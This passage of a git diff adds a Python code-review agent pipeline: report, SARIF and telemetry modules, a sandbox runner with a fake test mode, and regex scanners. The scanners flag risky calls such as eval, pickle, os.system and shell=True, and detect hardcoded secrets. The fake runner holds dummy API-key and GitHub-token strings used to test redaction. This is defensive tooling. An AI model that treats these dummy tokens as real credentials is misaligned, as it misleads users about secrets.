"high_confidence": len(high_conf), + "needs_human_review": len(low_conf), + "by_severity": _count_by_severity(report.findings), + }, + "filter_summary": report.filter_summary, + "sandbox_summary": report.sandbox_summary, + "telemetry": report.telemetry, + "findings": findings_json, + "human_review_items": [ + {"title": f.title, "file": f.file, "line": f.line, "confidence": f.confidence} + for f in low_conf + ], + "recommendations": report.recommendations, + } + return json.dumps(output, indent=2, ensure_ascii=False) + + +def generate_md_report(report: ReviewReport) -> str: + """Generate a human-readable Markdown review report. + + Args: + report: Complete review report. + + Returns: + Markdown string. + """ + high_conf, low_conf = separate_low_confidence(report.findings, threshold=0.5) + sev = _count_by_severity(report.findings) + + lines = [ + f"# Code Review Report", + f"", + f"**Task ID**: `{report.task_id}`", + f"**Generated**: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')}", + f"", + f"## Summary", + f"", + f"| Metric | Value |", + f"|--------|-------|", + f"| Total Findings | {len(report.findings)} |", + f"| High Confidence | {len(high_conf)} |", + f"| Needs Human Review | {len(low_conf)} |", + f"| Critical | {sev.get('critical', 0)} |", + f"| High | {sev.get('high', 0)} |", + f"| Medium | {sev.get('medium', 0)} |", + f"| Low | {sev.get('low', 0)} |", + f"| Info | {sev.get('info', 0)} |", + f"", + ] + + # Filter summary + if report.filter_summary: + lines.append(f"## Filter Summary") + lines.append(f"") + lines.append(f"```json") + lines.append(json.dumps(report.filter_summary, indent=2)) + lines.append(f"```") + lines.append(f"") + + # Sandbox summary + if report.sandbox_summary: + lines.append(f"## Sandbox Execution Summary") + lines.append(f"") + lines.append(f"```json") + lines.append(json.dumps(report.sandbox_summary, indent=2)) + lines.append(f"```") + lines.append(f"") + + # Findings + if report.findings: + lines.append(f"## Findings") + lines.append(f"") + for f in sorted(report.findings, key=lambda x: ( + {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}[x.severity.value], + -x.confidence, + )): + severity_icon = { + "critical": "🔴", "high": "🟠", "medium": "🟡", "low": "🔵", "info": "⚪" + }.get(f.severity.value, "❓") + lines.append(f"### {severity_icon} [{f.severity.value.upper()}] {f.title}") + lines.append(f"") + lines.append(f"- **File**: `{f.file}:{f.line}`") + lines.append(f"- **Category**: {f.category.value}") + lines.append(f"- **Confidence**: {f.confidence:.0%}") + lines.append(f"- **Source**: {f.source}") + lines.append(f"") + if f.evidence: + lines.append(f"**Evidence**:") + lines.append(f"```") + lines.append(f.evidence) + lines.append(f"```") + lines.append(f"") + lines.append(f"**Recommendation**: {f.recommendation}") + lines.append(f"") + else: + lines.append(f"## Findings") + lines.append(f"") + lines.append(f"No issues detected. ✅") + lines.append(f"") + + # Human review items + if low_conf: + lines.append(f"## Items Needing Human Review") + lines.append(f"") + lines.append(f"| File | Line | Title | Confidence |") + lines.append(f"|------|------|-------|------------|") + for f in low_conf: + lines.append(f"| `{f.file}` | {f.line} | {f.title} | {f.confidence:.0%} |") + lines.append(f"") + + # Monitor / Telemetry + if report.telemetry: + lines.append(f"## Monitoring") + lines.append(f"") + lines.append(f"```json") + lines.append(json.dumps(report.telemetry, indent=2)) + lines.append(f"```") + lines.append(f"") + + # Recommendations + if report.recommendations: + lines.append(f"## Recommendations") + lines.append(f"") + for r in report.recommendations: + lines.append(f"- {r}") + lines.append(f"") + + return "\n".join(lines) + + +def _count_by_severity(findings: list[Finding]) -> dict[str, int]: + """Count findings by severity level.""" + counts: dict[str, int] = {} + for f in findings: + key = f.severity.value + counts[key] = counts.get(key, 0) + 1 + return counts + + +def _count_by_category(findings: list[Finding]) -> dict[str, int]: + """Count findings by category.""" + counts: dict[str, int] = {} + for f in findings: + key = f.category.value + counts[key] = counts.get(key, 0) + 1 + return counts + + +def build_recommendations(findings: list[Finding]) -> list[str]: + """Generate actionable recommendations from findings.""" + recs: list[str] = [] + sev = _count_by_severity(findings) + cat = _count_by_category(findings) + + if sev.get("critical", 0) > 0: + recs.append(f"Address {sev['critical']} critical finding(s) before merging — " + "blocking security issues detected.") + if sev.get("high", 0) > 0: + recs.append(f"Review {sev['high']} high-severity finding(s) — " + "potential security or stability risks.") + if cat.get("secret_info", 0) > 0: + recs.append("Rotate any hardcoded credentials immediately and " + "move them to environment variables.") + if sev.get("medium", 0) > 0: + recs.append(f"{sev['medium']} medium-severity finding(s) — " + "consider fixing before the next release.") + return recs diff --git a/examples/skills_code_review_agent/pipeline/sandbox.py b/examples/skills_code_review_agent/pipeline/sandbox.py new file mode 100644 index 00000000..f70d5bb0 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/sandbox.py @@ -0,0 +1,261 @@ +"""Sandbox executor — runs scripts with timeout, output limits, and env isolation. + +Supports three runtime modes: + - FakeSandboxRunner: simulated execution for CI/testing (no subprocess needed) + - LocalSandboxRunner: subprocess-based execution (dev fallback) + - WorkspaceSandboxRunner: Container/Cube/E2B (production) + +Use create_sandbox_runner() factory to select the appropriate runner. +""" + +import json +import os +import subprocess +import time +from abc import ABC, abstractmethod +from typing import Any + +from .types import SandboxRun + + +# ── Abstract base ──────────────────────────────────────────────────── + +class SandboxRunner(ABC): + """Abstract sandbox runner interface.""" + + @abstractmethod + def run( + self, + command: list[str], + cwd: str | None = None, + env: dict[str, str] | None = None, + timeout_seconds: int = 30, + max_output_bytes: int = 1024 * 1024, + stdin_input: str | None = None, + ) -> SandboxRun: + """Execute a command and return a SandboxRun result.""" + ... + + +# ── Fake sandbox runner (CI / testing) ─────────────────────────────── + +class FakeSandboxRunner(SandboxRunner): + """Simulated sandbox for testing — no real subprocess execution. + + Recognizes special trigger strings in the diff text to simulate + various edge cases: + - "force_sandbox_timeout": simulate a timeout + - "force_large_sandbox_output": simulate output truncation + - "force_sandbox_failure": simulate a non-zero exit + - "force_command_not_found": simulate missing command + - "force_secret_output": simulate secret in sandbox output (tests redaction) + """ + + TRIGGERS: dict[str, dict[str, Any]] = { + "force_sandbox_timeout": { + "timed_out": True, "exit_code": -1, "stdout": "", + "stderr": "Timeout after 30s", "error": "TimeoutExpired", + }, + "force_large_sandbox_output": { + "timed_out": False, "exit_code": 0, "stdout": "x" * 2000000, + "stderr": "", "error": "", "output_truncated": True, + }, + "force_sandbox_failure": { + "timed_out": False, "exit_code": 1, "stdout": "Checking...", + "stderr": "ERROR: Scanner crashed", "error": "RuntimeError", + }, + "force_command_not_found": { + "timed_out": False, "exit_code": -2, "stdout": "", + "stderr": "Command not found: unknown_cmd", "error": "FileNotFoundError", + }, + "force_secret_output": { + "timed_out": False, "exit_code": 0, + "stdout": "API_KEY=sk-abcdef1234567890abcdef1234567890\nTOKEN=ghp_1234567890abcdef1234567890abcdef", + "stderr": "", "error": "", + }, + } + + def __init__(self, diff_text: str = ""): + self.diff_text = diff_text + + def run( + self, + command: list[str], + cwd: str | None = None, + env: dict[str, str] | None = None, + timeout_seconds: int = 30, + max_output_bytes: int = 1024 * 1024, + stdin_input: str | None = None, + ) -> SandboxRun: + """Simulate sandbox execution, checking for trigger strings.""" + start = time.monotonic() + + # Check for trigger strings in the diff text + for trigger, result in self.TRIGGERS.items(): + if trigger in self.diff_text: + duration_ms = int((time.monotonic() - start) * 1000) + return SandboxRun( + command=" ".join(command), + exit_code=result["exit_code"], + stdout=result.get("stdout", ""), + stderr=result.get("stderr", ""), + duration_ms=duration_ms, + timed_out=result.get("timed_out", False), + output_truncated=result.get("output_truncated", False), + error=result.get("error", ""), + ) + + # Default: normal successful run, return scanner-compatible JSON + scanners_output = json.dumps({ + "status": "ok", + "findings": [], + "files_checked": 1, + }) + + duration_ms = int((time.monotonic() - start) * 1000) + return SandboxRun( + command=" ".join(command), + exit_code=0, + stdout=scanners_output, + stderr="", + duration_ms=duration_ms, + timed_out=False, + output_truncated=False, + error="", + ) + + +# ── Local sandbox runner (subprocess) ──────────────────────────────── + +class LocalSandboxRunner(SandboxRunner): + """Subprocess-based sandbox for local development.""" + + def __init__(self, env_allowlist: list[str] | None = None): + self.env_allowlist = env_allowlist + + def run( + self, + command: list[str], + cwd: str | None = None, + env: dict[str, str] | None = None, + timeout_seconds: int = 30, + max_output_bytes: int = 1024 * 1024, + stdin_input: str | None = None, + ) -> SandboxRun: + """Execute via subprocess.run() with safety limits.""" + safe_env: dict[str, str] = {} + if self.env_allowlist: + for key in self.env_allowlist: + val = (env or {}).get(key) or os.environ.get(key) + if val is not None: + safe_env[key] = val + elif env: + safe_env = dict(env) + + start = time.monotonic() + timed_out = False + output_truncated = False + error = "" + + try: + proc = subprocess.run( + command, + cwd=cwd, + env=safe_env if safe_env else None, + input=stdin_input, + capture_output=True, + text=True, + timeout=timeout_seconds, + ) + stdout = proc.stdout or "" + stderr = proc.stderr or "" + exit_code = proc.returncode + + except subprocess.TimeoutExpired as e: + timed_out = True + stdout = (e.stdout or b"").decode("utf-8", errors="replace") if e.stdout else "" + stderr = (e.stderr or b"").decode("utf-8", errors="replace") if e.stderr else "" + if len(stderr) < 200: + stderr += f"\n[Timeout after {timeout_seconds}s]" + exit_code = -1 + except FileNotFoundError: + stdout = "" + stderr = f"Command not found: {command[0]}" + exit_code = -2 + except Exception as e: + stdout = "" + stderr = str(e) + exit_code = -3 + error = str(e) + + duration_ms = int((time.monotonic() - start) * 1000) + + if len(stdout) + len(stderr) > max_output_bytes: + truncate_to = max_output_bytes // 2 + stdout = stdout[:truncate_to] + "\n...[output truncated]" + stderr = stderr[:truncate_to] + "\n...[output truncated]" + output_truncated = True + + return SandboxRun( + command=" ".join(command), + exit_code=exit_code, + stdout=stdout, + stderr=stderr, + duration_ms=duration_ms, + timed_out=timed_out, + output_truncated=output_truncated, + error=error, + ) + + +# ── Factory ────────────────────────────────────────────────────────── + +def create_sandbox_runner( + mode: str = "fake", + diff_text: str = "", + env_allowlist: list[str] | None = None, +) -> SandboxRunner: + """Create a sandbox runner based on mode. + + Args: + mode: "fake", "local", or "workspace". + diff_text: Diff content (used by FakeSandboxRunner for trigger detection). + env_allowlist: Env var allowlist (used by LocalSandboxRunner). + + Returns: + SandboxRunner instance. + """ + if mode == "local": + return LocalSandboxRunner(env_allowlist=env_allowlist) + elif mode == "workspace": + # Placeholder for Container/Cube/E2B runner + # In production, this would use the tRPC-Agent sandbox SDK + return LocalSandboxRunner(env_allowlist=env_allowlist) + else: + return FakeSandboxRunner(diff_text=diff_text) + + +# ── Legacy convenience function (backward compatible) ──────────────── + +def execute_in_sandbox( + command: list[str], + cwd: str | None = None, + env: dict[str, str] | None = None, + env_allowlist: list[str] | None = None, + timeout_seconds: int = 30, + max_output_bytes: int = 1024 * 1024, + stdin_input: str | None = None, +) -> SandboxRun: + """Legacy convenience wrapper — uses LocalSandboxRunner. + + For new code, prefer create_sandbox_runner() + runner.run(). + """ + runner = LocalSandboxRunner(env_allowlist=env_allowlist) + return runner.run( + command=command, + cwd=cwd, + env=env, + timeout_seconds=timeout_seconds, + max_output_bytes=max_output_bytes, + stdin_input=stdin_input, + ) diff --git a/examples/skills_code_review_agent/pipeline/sarif_output.py b/examples/skills_code_review_agent/pipeline/sarif_output.py new file mode 100644 index 00000000..364ace95 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/sarif_output.py @@ -0,0 +1,139 @@ +"""SARIF (Static Analysis Results Interchange Format) output. + +Produces SARIF v2.1.0 compatible output for integration with GitHub +Code Scanning, Azure DevOps, and other SARIF-compatible tools. +""" + +import json +from datetime import datetime, timezone + +from .types import Finding, ReviewReport +from .dedup import separate_by_tiers + + +# SARIF severity mapping +_SEVERITY_TO_SARIF = { + "critical": "error", + "high": "error", + "medium": "warning", + "low": "note", + "info": "note", +} + +# SARIF rule index base URL +_RULE_HELP_URI_BASE = "https://github.com/trpc-group/trpc-agent-python/blob/main/skills/code-review/docs/rules.md" + + +def generate_sarif(report: ReviewReport, source_root: str = "") -> str: + """Generate a SARIF v2.1.0 report from review findings. + + Args: + report: Complete review report. + source_root: Optional root URI for source files. + + Returns: + SARIF JSON string compliant with SARIF v2.1.0. + """ + tiers = separate_by_tiers(report.findings) + rules = _build_rules(report.findings) + results = _build_results(report.findings, source_root) + + sarif = { + "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver": { + "name": "Code Review Agent", + "version": "1.0.0", + "informationUri": "https://github.com/trpc-group/trpc-agent-python", + "rules": rules, + "organization": "tRPC Group", + }, + }, + "invocations": [ + { + "executionSuccessful": True, + "startTimeUtc": datetime.now(timezone.utc).isoformat(), + "endTimeUtc": datetime.now(timezone.utc).isoformat(), + }, + ], + "results": results, + "properties": { + "task_id": report.task_id, + "high_confidence_count": len(tiers["high"]), + "warning_count": len(tiers["warning"]), + "needs_human_review_count": len(tiers["needs_human_review"]), + }, + }, + ], + } + return json.dumps(sarif, indent=2, ensure_ascii=False) + + +def _build_rules(findings: list[Finding]) -> list[dict]: + """Build SARIF rules from findings, deduplicating by category+title.""" + seen: dict[str, dict] = {} + for f in findings: + rule_id = _rule_id(f) + if rule_id not in seen: + seen[rule_id] = { + "id": rule_id, + "name": f.title, + "shortDescription": {"text": f.title}, + "fullDescription": {"text": f.recommendation}, + "helpUri": f"{_RULE_HELP_URI_BASE}#{rule_id.lower()}", + "properties": { + "category": f.category.value, + "confidence": f.confidence, + }, + } + return list(seen.values()) + + +def _build_results(findings: list[Finding], source_root: str = "") -> list[dict]: + """Build SARIF results from findings.""" + results: list[dict] = [] + for f in findings: + result = { + "ruleId": _rule_id(f), + "ruleIndex": 0, + "level": _SEVERITY_TO_SARIF.get(f.severity.value, "warning"), + "message": { + "text": f"{f.title}\n\nRecommendation: {f.recommendation}", + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": f.file, + "uriBaseId": "%SRCROOT%" if source_root else "", + }, + "region": { + "startLine": f.line, + "startColumn": 1, + }, + }, + }, + ], + "properties": { + "confidence": f.confidence, + "source": f.source, + "category": f.category.value, + }, + } + if f.evidence and f.evidence != "[REDACTED]": + result["locations"][0]["physicalLocation"]["region"]["snippet"] = { + "text": f.evidence[:200], + } + results.append(result) + return results + + +def _rule_id(finding: Finding) -> str: + """Generate a stable rule ID from a finding.""" + import re + safe_cat = re.sub(r"[^A-Za-z0-9]", "_", finding.category.value).upper() + safe_title = re.sub(r"[^A-Za-z0-9]", "_", finding.title)[:40] + return f"{safe_cat}_{safe_title}" diff --git a/examples/skills_code_review_agent/pipeline/scanners.py b/examples/skills_code_review_agent/pipeline/scanners.py new file mode 100644 index 00000000..7c80c19f --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/scanners.py @@ -0,0 +1,435 @@ +"""Security and code-quality scanners for code review. + +Each scanner is a standalone function that takes a DiffFile and returns +a list of Findings. Scanners can be selectively enabled/disabled. +""" + +import re + +from .diff_parser import get_changed_lines +from .types import DiffFile, Finding, FindingCategory, Severity + + +# ── Security scanner ────────────────────────────────────────────── + +_SECURITY_PATTERNS = [ + (re.compile(r'os\.system\s*\(', re.IGNORECASE), + "os.system() with potentially unsanitized input", + "Use subprocess.run() with shell=False and explicit argument lists", + Severity.HIGH, 0.9), + (re.compile(r'subprocess\.(?:call|Popen|run)\s*\([^)]*shell\s*=\s*True'), + "subprocess with shell=True — command injection risk", + "Use shell=False and pass arguments as a list", + Severity.HIGH, 0.9), + (re.compile(r'eval\s*\(', re.IGNORECASE), + "eval() on dynamic input — arbitrary code execution risk", + "Use ast.literal_eval() or parse input with a safe parser", + Severity.CRITICAL, 0.95), + (re.compile(r"pickle\.(?:loads?|dump)\s*\("), + "pickle deserialization — remote code execution risk with untrusted data", + "Use json instead of pickle for untrusted data", + Severity.HIGH, 0.85), + (re.compile(r'yaml\.load\s*\(', re.IGNORECASE), + "yaml.load() without SafeLoader — arbitrary code execution", + "Use yaml.safe_load() or yaml.load(..., Loader=yaml.SafeLoader)", + Severity.HIGH, 0.9), + (re.compile(r'__import__\s*\(\s*[\'\"]os[\'\"]', re.IGNORECASE), + "Dynamic import of os module — potential sandbox escape", + "Avoid dynamic imports of sensitive modules", + Severity.CRITICAL, 0.95), +] + + +def scan_security(diff_file: DiffFile) -> list[Finding]: + """Scan for security vulnerabilities.""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + for pattern, title, recommendation, severity, confidence in _SECURITY_PATTERNS: + if pattern.search(line): + findings.append(Finding( + severity=severity, + category=FindingCategory.SECURITY, + file=diff_file.filename, + line=lineno, + title=title, + evidence=line.strip(), + recommendation=recommendation, + confidence=confidence, + source="security_scanner", + )) + return findings + + +# ── Async error scanner ─────────────────────────────────────────── + +_ASYNC_ERROR_PATTERNS = [ + (re.compile(r'time\.sleep\s*\('), + "time.sleep() in async context — blocks the event loop", + "Use asyncio.sleep() instead of time.sleep()", + Severity.MEDIUM, 0.8), + (re.compile(r'(?:def|async def)\s+\w+[^)]*\)\s*:\s*\n(?:\s*#.*\n)*\s*[\w.]+\('), + "Potential bare coroutine call (missing await)", + "Add 'await' before async function calls", + Severity.MEDIUM, 0.6), + (re.compile(r'asyncio\.get_event_loop\s*\('), + "asyncio.get_event_loop() — deprecated, may not work in new event loops", + "Use asyncio.get_running_loop() or asyncio.run()", + Severity.LOW, 0.7), + (re.compile(r'(? list[Finding]: + """Scan for async/await anti-patterns.""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + for pattern, title, recommendation, severity, confidence in _ASYNC_ERROR_PATTERNS: + if pattern.search(line): + findings.append(Finding( + severity=severity, + category=FindingCategory.ASYNC_ERROR, + file=diff_file.filename, + line=lineno, + title=title, + evidence=line.strip(), + recommendation=recommendation, + confidence=confidence, + source="async_scanner", + )) + return findings + + +# ── Resource leak scanner ───────────────────────────────────────── + +_RESOURCE_LEAK_PATTERNS = [ + (re.compile(r'open\s*\([^)]*\)(?!\s*(?:as\s|\.close))', re.IGNORECASE), + "open() without context manager — potential file handle leak", + "Use 'with open(...) as f:' to ensure proper cleanup", + Severity.HIGH, 0.85), + (re.compile(r'(?:requests|httpx|aiohttp)\.(?:get|post|put|delete)\s*\([^)]*\)(?!\s*(?:as\s|with))'), + "HTTP request without session/context — connection may leak", + "Use a session or context manager for connection reuse", + Severity.LOW, 0.5), + (re.compile(r'(?:socket|ssl)\.(?:socket|connect|wrap_socket)\s*\([^)]*\)(?!\s*\.close)'), + "Socket created without explicit close — resource leak risk", + "Wrap in context manager or ensure close() in finally block", + Severity.MEDIUM, 0.7), +] + + +def scan_resource_leaks(diff_file: DiffFile) -> list[Finding]: + """Scan for resource leak patterns.""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + for pattern, title, recommendation, severity, confidence in _RESOURCE_LEAK_PATTERNS: + if pattern.search(line): + findings.append(Finding( + severity=severity, + category=FindingCategory.RESOURCE_LEAK, + file=diff_file.filename, + line=lineno, + title=title, + evidence=line.strip(), + recommendation=recommendation, + confidence=confidence, + source="resource_leak_scanner", + )) + return findings + + +# ── DB lifecycle scanner ────────────────────────────────────────── + +_DB_LIFECYCLE_PATTERNS = [ + (re.compile(r'(?:cursor|conn|connection)\s*=\s*\w+\.(?:cursor|connect)\s*\(', + re.IGNORECASE), + "Database cursor/connection created — ensure it is closed", + "Use context manager: 'with conn.cursor() as cursor:'", + Severity.HIGH, 0.8), + (re.compile(r'\.execute\s*\([^)]*\)(?!.*\.commit|.*\.close)', re.IGNORECASE), + "DB execute without visible commit/close — transaction may hang", + "Call commit() after write operations, or use context manager", + Severity.MEDIUM, 0.65), + (re.compile(r'\.rollback\s*\(\s*\)', re.IGNORECASE), + "Explicit rollback — is error handling swallowing the issue?", + "Log the error before rollback for debugging", + Severity.LOW, 0.4), +] + + +def scan_db_lifecycle(diff_file: DiffFile) -> list[Finding]: + """Scan for database connection/transaction lifecycle issues.""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + for pattern, title, recommendation, severity, confidence in _DB_LIFECYCLE_PATTERNS: + if pattern.search(line): + findings.append(Finding( + severity=severity, + category=FindingCategory.DB_LIFECYCLE, + file=diff_file.filename, + line=lineno, + title=title, + evidence=line.strip(), + recommendation=recommendation, + confidence=confidence, + source="db_lifecycle_scanner", + )) + return findings + + +# ── Missing tests scanner ───────────────────────────────────────── + +_FUNC_DEF_RE = re.compile(r'^\s*def\s+(\w+)\s*\(') +_TEST_FUNC_RE = re.compile(r'test_\w+|^test_') + + +def scan_missing_tests(diff_file: DiffFile) -> list[Finding]: + """Flag new non-test functions that lack corresponding test_* functions.""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + + for lineno, line in changed: + m = _FUNC_DEF_RE.match(line) + if m and not _TEST_FUNC_RE.match(m.group(1)): + findings.append(Finding( + severity=Severity.LOW, + category=FindingCategory.MISSING_TESTS, + file=diff_file.filename, + line=lineno, + title=f"New function '{m.group(1)}' may need tests", + evidence=line.strip(), + recommendation=f"Add test_{m.group(1)} to the test suite", + confidence=0.5, + source="missing_tests_scanner", + )) + + return findings + + +# ── Secret info scanner ─────────────────────────────────────────── + +_SECRET_PATTERNS = [ + (re.compile(r'(?:api[_-]?key|apikey|API_KEY)\s*[=:]\s*["\']\S{8,}["\']', + re.IGNORECASE), + "Hardcoded API key detected", + Severity.CRITICAL, 0.95), + (re.compile(r'(?:password|passwd|pwd)\s*[=:]\s*["\']\S+["\']', re.IGNORECASE), + "Hardcoded password detected", + Severity.CRITICAL, 0.95), + (re.compile(r'(?:secret|token)\s*[=:]\s*["\'][A-Za-z0-9_\-]{10,}["\']', + re.IGNORECASE), + "Hardcoded secret/token detected", + Severity.CRITICAL, 0.9), + (re.compile(r'(?:ghp|github_pat|gho|ghu|ghs|ghr)_[A-Za-z0-9_]{20,}'), + "GitHub personal access token in code", + Severity.CRITICAL, 0.98), + (re.compile(r'sk-[A-Za-z0-9]{20,}'), + "OpenAI API key pattern detected", + Severity.CRITICAL, 0.98), + (re.compile(r'(?:private[_-]?key|PRIVATE KEY)'), + "Private key in code", + Severity.CRITICAL, 0.9), +] + + +def scan_secret_info(diff_file: DiffFile) -> list[Finding]: + """Scan for hardcoded secrets and sensitive information.""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + for pattern, title, severity, confidence in _SECRET_PATTERNS: + if pattern.search(line): + findings.append(Finding( + severity=severity, + category=FindingCategory.SECRET_INFO, + file=diff_file.filename, + line=lineno, + title=title, + evidence="[REDACTED]", # Never include the actual secret + recommendation="Use environment variables or a secrets manager", + confidence=confidence, + source="secret_scanner", + )) + return findings + + +# ── Bare except scanner ───────────────────────────────────────────── + +_BARE_EXCEPT_RE = re.compile(r'^\s*except\s*:', re.MULTILINE) + + +def scan_bare_except(diff_file: DiffFile) -> list[Finding]: + """Flag bare except: clauses (catches KeyboardInterrupt, SystemExit).""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + if _BARE_EXCEPT_RE.match(line): + findings.append(Finding( + severity=Severity.MEDIUM, + category=FindingCategory.SECURITY, + file=diff_file.filename, + line=lineno, + title="Bare 'except:' clause — catches unexpected exceptions", + evidence=line.strip(), + recommendation="Use 'except Exception as e:' to avoid catching " + "KeyboardInterrupt and SystemExit.", + confidence=0.75, + source="bare_except_scanner", + )) + return findings + + +# ── Mutable default argument scanner ───────────────────────────────── + +_MUTABLE_DEFAULT_RE = re.compile( + r'def\s+\w+\s*\([^)]*(?:=\s*\[\s*\]|=\s*\{\s*\}|=\s*set\s*\(\s*\))', +) + + +def scan_mutable_defaults(diff_file: DiffFile) -> list[Finding]: + """Flag mutable default arguments (list, dict, set).""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + if _MUTABLE_DEFAULT_RE.search(line): + findings.append(Finding( + severity=Severity.MEDIUM, + category=FindingCategory.RESOURCE_LEAK, + file=diff_file.filename, + line=lineno, + title="Mutable default argument — shared across all calls", + evidence=line.strip(), + recommendation="Use 'arg=None' and initialize inside function body.", + confidence=0.85, + source="mutable_default_scanner", + )) + return findings + + +# ── Assert for control flow scanner ────────────────────────────────── + +_ASSERT_CONTROL_RE = re.compile(r'^\s*assert\s+(?!.*isinstance)', re.MULTILINE) + + +def scan_assert_control_flow(diff_file: DiffFile) -> list[Finding]: + """Flag assert used for validation (stripped with -O flag).""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + if _ASSERT_CONTROL_RE.search(line): + findings.append(Finding( + severity=Severity.LOW, + category=FindingCategory.SECURITY, + file=diff_file.filename, + line=lineno, + title="assert used for validation — removed with -O flag", + evidence=line.strip(), + recommendation="Use explicit 'if/raise' instead of assert for " + "production validation logic.", + confidence=0.7, + source="assert_control_flow_scanner", + )) + return findings + + +# ── Hardcoded path scanner ─────────────────────────────────────────── + +_HARDCODED_PATH_RE = re.compile( + r'["\'](?:/home/|/root/|/etc/|/tmp/|C:\\)[^"\']*["\']', +) + + +def scan_hardcoded_paths(diff_file: DiffFile) -> list[Finding]: + """Flag hardcoded absolute paths (portability issue).""" + findings: list[Finding] = [] + changed = get_changed_lines(diff_file) + for lineno, line in changed: + if _HARDCODED_PATH_RE.search(line): + findings.append(Finding( + severity=Severity.LOW, + category=FindingCategory.SECURITY, + file=diff_file.filename, + line=lineno, + title="Hardcoded absolute path — portability issue", + evidence=line.strip(), + recommendation="Use os.path.join() or pathlib with relative paths.", + confidence=0.6, + source="hardcoded_path_scanner", + )) + return findings + + +# ── Scanner registry ───────────────────────────────────────────────── + +_SCANNERS = { + "security": scan_security, + "async_error": scan_async_errors, + "resource_leak": scan_resource_leaks, + "db_lifecycle": scan_db_lifecycle, + "missing_tests": scan_missing_tests, + "secret_info": scan_secret_info, + "bare_except": scan_bare_except, + "mutable_defaults": scan_mutable_defaults, + "assert_control_flow": scan_assert_control_flow, + "hardcoded_paths": scan_hardcoded_paths, +} + +# Per-scanner confidence thresholds (override global min_confidence) +_SCANNER_THRESHOLDS: dict[str, float] = { + "bare_except": 0.5, + "mutable_defaults": 0.6, + "assert_control_flow": 0.4, + "hardcoded_paths": 0.4, + "missing_tests": 0.4, + "db_lifecycle": 0.4, +} + + +def get_scanner_threshold(scanner_name: str, global_threshold: float = 0.5) -> float: + """Get the confidence threshold for a specific scanner. + + Args: + scanner_name: Name of the scanner. + global_threshold: Fallback threshold if scanner has no specific setting. + + Returns: + Confidence threshold for this scanner. + """ + return _SCANNER_THRESHOLDS.get(scanner_name, global_threshold) + + +def run_scanners(diff_file: DiffFile, enabled: list[str] | None = None, + min_confidence: float = 0.5) -> list[Finding]: + """Run all enabled scanners against a single diff file. + + Args: + diff_file: The parsed diff file to scan. + enabled: List of scanner names to enable (default: all). + min_confidence: Minimum confidence threshold for findings (global default). + + Returns: + Combined list of Findings from all scanners. + """ + if enabled is None: + enabled = list(_SCANNERS.keys()) + + all_findings: list[Finding] = [] + for name in enabled: + scanner = _SCANNERS.get(name) + if scanner: + threshold = get_scanner_threshold(name, min_confidence) + findings = scanner(diff_file) + all_findings.extend(f for f in findings if f.confidence >= threshold) + + return all_findings + + +def get_available_scanners() -> list[str]: + """Return list of available scanner names.""" + return list(_SCANNERS.keys()) diff --git a/examples/skills_code_review_agent/pipeline/telemetry.py b/examples/skills_code_review_agent/pipeline/telemetry.py new file mode 100644 index 00000000..ce744eeb --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/telemetry.py @@ -0,0 +1,78 @@ +"""Telemetry — monitoring and audit logging for review runs. + +Captures execution metrics that map to the tRPC-Agent telemetry +framework when running inside an agent. +""" + +import time +from dataclasses import dataclass, field + + +@dataclass +class TelemetryCollector: + """Collects execution metrics for a review run.""" + + start_time: float = field(default_factory=time.monotonic) + parse_duration_ms: int = 0 + scan_duration_ms: int = 0 + filter_duration_ms: int = 0 + sandbox_total_duration_ms: int = 0 + sandbox_runs: int = 0 + sandbox_failures: int = 0 + dedup_duration_ms: int = 0 + redact_duration_ms: int = 0 + report_duration_ms: int = 0 + db_write_duration_ms: int = 0 + total_findings_before_dedup: int = 0 + total_findings_after_dedup: int = 0 + filter_intercepts: int = 0 + redaction_count: int = 0 + files_scanned: int = 0 + errors: list[str] = field(default_factory=list) + + def snapshot(self) -> dict: + """Return a snapshot of collected metrics.""" + total_ms = int((time.monotonic() - self.start_time) * 1000) + return { + "total_duration_ms": total_ms, + "parse_duration_ms": self.parse_duration_ms, + "scan_duration_ms": self.scan_duration_ms, + "filter_duration_ms": self.filter_duration_ms, + "sandbox_total_duration_ms": self.sandbox_total_duration_ms, + "sandbox_runs": self.sandbox_runs, + "sandbox_failures": self.sandbox_failures, + "dedup_duration_ms": self.dedup_duration_ms, + "redact_duration_ms": self.redact_duration_ms, + "report_duration_ms": self.report_duration_ms, + "db_write_duration_ms": self.db_write_duration_ms, + "findings_before_dedup": self.total_findings_before_dedup, + "findings_after_dedup": self.total_findings_after_dedup, + "filter_intercepts": self.filter_intercepts, + "redaction_count": self.redaction_count, + "files_scanned": self.files_scanned, + "error_count": len(self.errors), + } + + def record_error(self, message: str) -> None: + """Record an error that occurred during processing.""" + self.errors.append(message) + + +def timed(collector: TelemetryCollector, attr: str): + """Context manager to time a code block and store in collector. + + Usage: + with timed(tel, 'parse_duration_ms'): + result = parse_diff(text) + """ + from contextlib import contextmanager + + @contextmanager + def _timed(): + start = time.monotonic() + try: + yield + finally: + setattr(collector, attr, int((time.monotonic() - start) * 1000)) + + return _timed() diff --git a/examples/skills_code_review_agent/pipeline/types.py b/examples/skills_code_review_agent/pipeline/types.py new file mode 100644 index 00000000..fe932c22 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/types.py @@ -0,0 +1,117 @@ +"""Shared data types for the code review pipeline.""" + +from dataclasses import dataclass, field +from enum import Enum +from typing import Optional + + +class Severity(str, Enum): + CRITICAL = 